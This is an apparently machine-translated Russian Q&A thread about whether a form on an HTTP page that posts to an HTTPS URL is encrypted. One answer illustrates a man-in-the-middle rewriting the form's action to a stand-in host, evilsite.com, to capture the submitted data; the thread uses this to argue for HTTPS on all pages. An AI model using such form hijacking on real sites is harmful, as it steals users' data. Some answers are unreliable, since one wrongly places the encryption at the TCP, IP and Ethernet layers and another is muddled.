Скажите, что я в URL http://mysite.com/form.html
. При просмотре источника я вижу
<form method="post" action="https://mysite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
Если я поразил кнопку отправки, информация о форме будет зашифрована, когда она будет отправлена в страницу/контроллер процесса?
Да - данные в форме будут отправлены в зашифрованном виде с использованием обычного квитирования, которое реализует SSL. Оттуда вы можете выбрать для своего пользователя SSL или вернуть его к стандартному соединению с использованием идентификатора сеанса.
Он будет зашифрован на нижних сетевых уровнях (например, сырые пакеты, TCP, IP, Ethernet), а не на уровне приложения (поскольку он прозрачно декодируется на сторона приемника).
Человек посередине не увидит простой текст отправленных вами данных формы, если целевой URL использует шифрование (например, HTTPS).
Да, но обратите внимание, что было приложено немало усилий для обучения пользователей поиску замка SSL на странице, содержащей форму (является ли обучение эффективным - это другой вопрос). Браузеры, как правило, жалуются, если форма на защищенной странице отправлена на небезопасную страницу, поэтому это обученное поведение имеет положительную цель.
Если вы реализуете свою форму таким образом, у пользователя не будет возможности узнать, что отправка формы будет безопасной (без просмотра кода страницы), пока он не нажмет отправить.Это может не иметь значения в вашем случае использования, но это идет вразрез с попытками научить людей искать замок, если данные в форме таковы, что пользователь должен только безопасно отправлять их.
Нет гарантии, что он будет зашифрован или что отправленные данные попадут на ваш веб-сайт.
Поскольку исходный ответ был через http, посредник мог изменить ваш исходный HTML-код или вставить какой-нибудь javascript, чтобы изменить параметр действия вашей формы. Таким образом, ваша форма может выглядеть так, когда она достигает браузера
<form method="post" action="https://evilsite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
. Это означает, что вы ДОЛЖНЫ использовать HTTPS на всех своих страницах, если хотите быть в безопасности.